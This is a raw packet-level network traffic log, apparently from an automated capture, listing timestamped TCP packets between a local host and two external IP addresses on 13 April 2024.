Apr 13, 2024 20:21:15.010298967 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010328054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010365963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010377884 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010402918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010441065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010459900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010478973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010497093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010515928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010554075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010564089 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010591030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010629892 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010651112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010679960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010699987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010740042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010781050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010793924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010818958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010873079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010886908 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010910988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010920048 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010948896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010986090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011001110 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011023045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011060953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011071920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011096954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011110067 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011135101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011172056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011184931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011209965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011245966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011262894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011282921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011297941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011321068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011358976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011372089 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011395931 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011399031 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011415958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011434078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011447906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011472940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011487007 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011509895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011523008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011547089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011557102 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011584997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011596918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011622906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011631966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011660099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011671066 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011698008 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011713028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011735916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011742115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011774063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011784077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011811018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011822939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011850119 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011861086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011887074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011902094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011925936 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011936903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.011964083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.011977911 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012002945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012012959 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012041092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012078047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012090921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012114048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012151003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012187004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012202024 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012243986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012283087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012285948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012285948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012305975 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012321949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012336016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012361050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012394905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012398958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012413025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012437105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012456894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012475014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012486935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012511969 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012525082 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012548923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012563944 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012587070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012597084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012624025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012635946 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012660980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012674093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012698889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012708902 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012737989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012748003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012775898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012790918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012814045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012840986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012852907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012876987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012890100 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012897015 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012926102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012938976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.012964010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.012978077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013001919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013022900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013046026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013060093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013082027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013083935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013122082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013133049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013159037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013195038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013207912 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013235092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013261080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013273001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013278008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013310909 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013329029 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013349056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013361931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013386011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013401985 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013422012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013458967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013477087 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013494968 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013533115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013560057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013569117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013576984 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013606071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013643026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013657093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013679981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013717890 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013747931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013747931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013756037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013768911 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013792992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013814926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013830900 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013844013 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013868093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013883114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013906002 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013926983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013942957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013955116 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.013981104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.013995886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014019966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014041901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014058113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014075041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014096022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014110088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014133930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014147997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014173031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014187098 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014213085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014225006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014250994 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014272928 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014292002 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014312029 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014327049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014334917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014364958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014379025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014401913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014416933 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014440060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014453888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014477015 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014492989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014514923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014529943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014553070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014569044 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014590025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014605999 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014626980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014641047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014663935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014678955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014703989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014718056 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014741898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014760017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014779091 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014801979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014816999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014831066 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014854908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014863968 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014893055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014906883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014930964 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014940023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.014969110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.014980078 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015006065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015008926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015043020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015080929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015083075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015083075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015119076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015126944 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015156031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015166044 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015193939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015203953 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015233040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015242100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015269995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015280962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015307903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015327930 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015345097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015351057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015382051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015409946 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015419960 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015429020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015455008 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015463114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015492916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015530109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015544891 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015568018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015569925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015594959 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015605927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015615940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015645981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015657902 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015683889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015697002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.015723944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.015775919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.055156946 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:15.359508038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359575987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359616041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359654903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359694958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359735012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359765053 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359774113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359765053 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359765053 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359765053 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359766006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359812975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359848976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359850883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359848976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359874964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359891891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359895945 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359930992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.359950066 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.359970093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360017061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360054016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360093117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360130072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360197067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360198021 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360198021 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360198021 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360198021 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360198975 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360274076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360311031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360313892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360346079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360357046 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360383987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360420942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360459089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360495090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360532045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360569954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360572100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360572100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360572100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360572100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360572100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360605955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360610962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360650063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360685110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360723972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360726118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360749006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360764027 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360790014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360801935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360811949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360840082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360858917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360877991 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360898018 CEST	49744	80	192.168.2.4	193.233.132.167
